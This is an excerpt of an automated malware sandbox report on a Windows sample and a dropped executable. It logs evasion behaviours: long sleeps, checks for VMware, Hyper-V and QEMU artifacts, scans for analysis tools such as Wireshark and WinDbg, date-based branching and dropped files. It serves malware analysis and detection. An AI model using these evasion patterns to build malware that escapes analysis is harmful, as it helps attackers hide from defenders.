Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\dllhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MOBIRISE4\MOBIRISE.EXE11976
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\FIDDLER2\FIDDLER.EXE11126
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X64\WINDBG.EXE11179
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X86\WINDBG.EXE12392
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\SUPERANTISPYWARE\SUPERANTISPYWARE.EXE11328
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE8327
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 300000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 360000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 2100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 900000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\a4#Uff09.exe Window / User API: threadDelayed 6216 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vmgr.exe Jump to dropped file
Source: C:\Users\user\Desktop\a4#Uff09.exe Dropped PE file which has not been started: C:\ahcs.pif Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Found evasive API chain (date check)
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Found evasive API chain checking for process token information
Source: C:\Users\user\Desktop\a4#Uff09.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3872 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5128 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 360 Thread sleep time: -139776s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4812 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3040 Thread sleep time: -350000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4040 Thread sleep time: -80000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 7068 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 7068 Thread sleep time: -35000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3180 Thread sleep time: -1440000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3180 Thread sleep time: -480000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5128 Thread sleep time: -25200000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4812 Thread sleep time: -28800000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 2892 Thread sleep time: -24300000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5196 Thread sleep time: -143360s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4840 Thread sleep time: -100000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 6336 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 360 Thread sleep time: -3182592s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4788 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4084 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\sihost.exe TID: 1260 Thread sleep time: -32000s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\dllhost.exe File opened: PhysicalDrive0 Jump to behavior
Uses the system / local time for branch decision (may execute only at specific dates)
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00DB1754h 2_2_00DB1718
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DBADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep, 0_2_029DBADD
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D57A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread, 0_2_029D57A0
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 2_2_00DB29E2
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 2_2_00DB2B8C
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 120000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 300000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 360000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 2100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 900000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|edi1*|ferramenta de captura*|snap5483*|file explorer*|window explorer9704*|excel 2016*|microsoft office10578*|ey reserve coordinator*|ems1*|file explorer*|file exploreer10143*|excel 2016*|microsoft excel9003*|file explorer*|file exploere9983*|ff logs uploader*|fflogs3892*|word 2013*|microsoft office9763*|excel 2016*|spreadsheet10538*|ferramenta de captura*|cut4283*|ferramenta de captura*|snipping5703*|word*|ms word:wux:ms word7930*|file explorer*|windows file explorer10338*|file explorer*|open files10130*|file explorer*|file manager7582*|file explorer*|open file explorer10603*|ferramenta de recorte*|snip2582*|family tree maker 2017*|ftm2392*|fallout mod manager*|fomm1397*|ferramenta de captura*|tool5685*|file explorer*|download folder8748*|file explorer*|windows exploer10635*|file explorer*|file exployer10367*|file explorer*|file exporer10159*|ferramenta de captura*|print4819*|file explorer*|fileexplorer9873*|file explorer*|file explorere9099*|wireless network watcher*|wnet2768*|windows server update services*|wsus229*|game jolt client*|gamejolt1800*|geforce experience*|nvidia geforce9228*|windows powershell*|powerhell9633*|geforce experience*|shadowplay6617*|windows security*|defender:wux:defender2418*|windows powershell ise*|powershell_ise6386*|windows powershell*|powrshell9179*|windows powershell*|powersell9085*|windows powershell*|poershell9158*|windows powershell*|poweshell7662*|windows powershell*|pwoershell8734*|windows powershell*|powreshell10050*|windows powershell*|powersehll8879*|windows powershell*|powershelll9253*|windows powershell*|powershll9985*|windows powershell ise*|azure7638*|windows powershell (x86)*|power shell1355*|windows powershell*|powerhsell7882*|windows powershell*|poewrshell9816*|final fantasy xiv*|ffxiv3810*|firealpaca64*|fire alpaca5826*|windows powershell*|powersj8692*|firefox*|mozilla firefox10005*|file explorer (1)*|files2713*|firefox developer edition*|moz4653*|firstobject xml editor*|foxe1542*|free download manager*|fdm2454*|freecell collection free*|free cell4775*|windows powershell*|pwershell8719*|windows powershell*|powersher10074*|freight assistance system technology*|fast1*|g.skill trident z rgb*|gskill2135*|geforce experience*|gefi9192*|get help*|contact support4845*|generic trace viewer 2.1.1*|gtv1*|global vpn client*|sonicwall5552*|google chrome*|gogole chrome12596*|geforce experience*|nvida6101*|google chrome*|open google chrome12094*|google chrome*|googel chrome12541*|google chrome*|google chorme11432*|google chrome*|google chroem12365*|google chrome*|googe chrome13035*|geforce experience*|gefroce8074*|get help*|microsoft support4307*|google chrome*|google chrme12854*|geforce experience*|geoforce8821*|google chrome*|google crhome13085*|geforce experience*|gefp9179*|google chrome*|goggle chrome11902*|google chrome*|gogle chrome12063*|googl
Source: SearchApp.exe, 0000001C.00000000.1513168056.000001F49DA00000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1466055672.000001EC9A57D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: var fbpkgiid = fbpkgiid || {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"751E9D17E4CD42EBAA6AE59A6ED5C22A","ConversationId":"5eff9dee-03ff-465e-bf2b-c48d3d202d68","LogicalId":"33366b5b-54ef-48bf-819d-677748eae9e3","tid":"651e6ab87a454702b15a8b0357a081d8","sid":"0017FC1997EE65330FCEEFB896C06426","uid":"","muid":"A92BA4E78D2946A0AFDA5029FA43D7A8","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651e6ab87a454702b15a8b0357a081d8 Ref B: MWHEEEAP0024FD7 Ref C: 2023-10-05T07:50:16Z","vs":{"BAW10":"BFBLCLAZYCF","BAW11":"MSBSSVLMCF","BAW5":"MSBCUSTNONALL","BAW7":"BFBPROWSBINITT1","BAW9":"BCEPREC","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBCREFINER":"1","FEATURE.BFBLCLAZYCF":"1","FEATURE.BFBPROWSBINIT":"1","FEATURE.BFBPROWSBINITT1":"1","FEATURE.BFBWSBCM0921CF":"1","FEATURE.MSBCUSTNONALL":"1","FEATURE.MSBSSVLMCF":"1","FEATURE.MSNSBC2":"1","FEATURE.WSBREF-T":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.04.39971431"}); } })(BingAtWork || (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
Source: explorer.exe, 00000010.00000002.3744492980.0000000000C74000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: (@os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;n
Source: SearchApp.exe, 0000001C.00000000.1495860385.000001F49C520000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: hyper-v
Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: dRomNECVMWarVMware_SATA_
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\Hyper-V\VMCreate.exe10779
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1284559369.00000000015CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000000.1339670855.000001D959FA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9E6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: SearchApp.exe, 0000001C.00000000.1495860385.000001F49C520000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: hyper-vOs and f
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Workstation.vmui7769
Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: oC&pCVMWareWindows Virtual PCda
Source: explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: explorer.exe, 00000010.00000003.2277407283.0000000009052000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware horizon client*|vm ware8394
Source: explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware20,1
Source: explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 00000010.00000000.1368434403.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F27000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWT`
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SVGA IIES1371
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware Virtual RAM
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware workstation 12 player*|vmpl5459
Source: SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|*|vmware6886
Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|hyper-v manager*|vm4595
Source: SearchApp.exe, 0000001C.00000003.1466362666.000001F4B3B02000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1488876866.000001F49B784000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: |*|qemu10642
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware horizon client*|vmare7220
Source: RuntimeBroker.exe, 0000001A.00000000.1432118551.00000269FFA58000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware.Horizon.Client8097
Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|vmware workstation 15 player*|vmplayer6438
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: (@os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.
Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: *|*|qemu10642
Source: SearchApp.exe, 0000001C.00000000.1497800210.000001F49D60D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1466332699.000001EC9A5C0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;nlse]
Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWNZU&
